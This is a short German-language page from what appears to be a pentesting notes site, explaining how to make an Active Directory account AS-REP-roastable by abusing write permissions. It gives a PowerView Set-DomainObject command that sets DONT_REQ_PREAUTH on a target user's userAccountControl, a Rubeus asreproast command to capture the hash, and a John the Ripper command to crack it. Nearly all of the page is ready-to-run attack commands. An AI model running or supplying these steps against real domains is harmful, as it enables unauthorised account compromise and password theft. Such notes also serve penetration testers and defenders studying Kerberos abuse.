> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).
# AS-REP-Schwachstelle über ACL aktivieren
### Prinzip
In manchen Fällen hat ein Benutzer nicht die `Keine Kerberos-Preauthentifizierung erforderlich` Option.
Aber wenn wir Schreibrechte für diesen Benutzer haben, zum Beispiel:
```bash
GenericAll
GenericWrite
WriteAllProperties
```
können wir sein Attribut ändern `userAccountControl`.
### Beispiel mit `astrid.niki`
Der Benutzer `user1` hat Schreibberechtigung für:
```bash
astrid.niki
```
Dann aktivieren wir die `DONT_REQ_PREAUTH` Option mit PowerView:
{% code overflow="wrap" %}
```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```
{% endcode %}
### AS-REP Roasting erneut starten
Nach der Änderung erscheint der Benutzer in den Ergebnissen:
{% code overflow="wrap" %}
```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```
{% endcode %}
Dann knacken wir den Hash:
{% code overflow="wrap" %}
```bash
john hash
```
{% endcode %}
---
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